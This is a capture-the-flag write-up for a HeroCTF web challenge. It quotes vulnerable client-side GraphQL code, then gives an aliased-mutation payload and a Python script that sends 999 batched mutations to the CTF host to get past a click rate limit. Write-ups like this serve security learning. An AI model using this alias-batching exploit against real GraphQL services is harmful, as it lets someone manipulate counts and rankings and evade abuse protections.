under B0rn2PwnCTF team

Overview

An anonymous company has decided to publish a ranking of the best schools, and it is based on the number of clicks on a button! Make sure you get the ‘Flag CyberSecurity School’ in first place and you’ll get your reward!

Detect vulnerable source code

 function updateNbClick(schoolName)
        {
            var updated_school = [];
            fetch("/graphql", {
                method: "POST",
                headers:{
                        "Content-Type": "application/json",
                        "Accept": "application/json"
                    },
                    body: JSON.stringify({query: `mutation { increaseClickSchool(schoolName: "${schoolName}"){schoolId, nbClick} }`})
            }).then(r => r.json())
            .then(
                function(data)
                {
                    if(data.error != undefined)
                    {
                        alert(data.error)
                    }
                    document.getElementById(`click${data.data.increaseClickSchool.schoolId}`).innerHTML = data.data.increaseClickSchool.nbClick
                }
            )
        }

For each click on a school, the website increment the click number and we have to wait few minutes before retry another click. We note the the backend use mutate instruction to increase click number through Graphql. We perform graphql injection in order to abuse the increaseClickSchool function.

Payload

{"query": "mutation  { mutation1: increaseClickSchool(schoolName: \"Flag CyberSecurity School\") { schoolId, nbClick } mutation2: increaseClickSchool(schoolName: \"Flag CyberSecurity School\") { schoolId, nbClick } mutation3: increaseClickSchool(schoolName: \"Flag CyberSecurity School\") { schoolId, nbClick } mutation20: increaseClickSchool(schoolName: \"Flag CyberSecurity School\") { schoolId, nbClick } }"}

exploit

import requests

url = 'http://dyn-01.heroctf.fr:11896/graphql'
headers = {'Content-Type': 'application/json', 'Accept': 'application/json'}
mutations = '\n'.join(f'mutation{i}: increaseClickSchool(schoolName: "Flag CyberSecurity School") {{ schoolId, nbClick }}' for i in range(1, 1000))
query = f'mutation {{ {mutations} }}'
data = {'query': query}

response = requests.post(url, headers=headers, json=data)
print(response.text)

Launch this script 2 times and get the flag.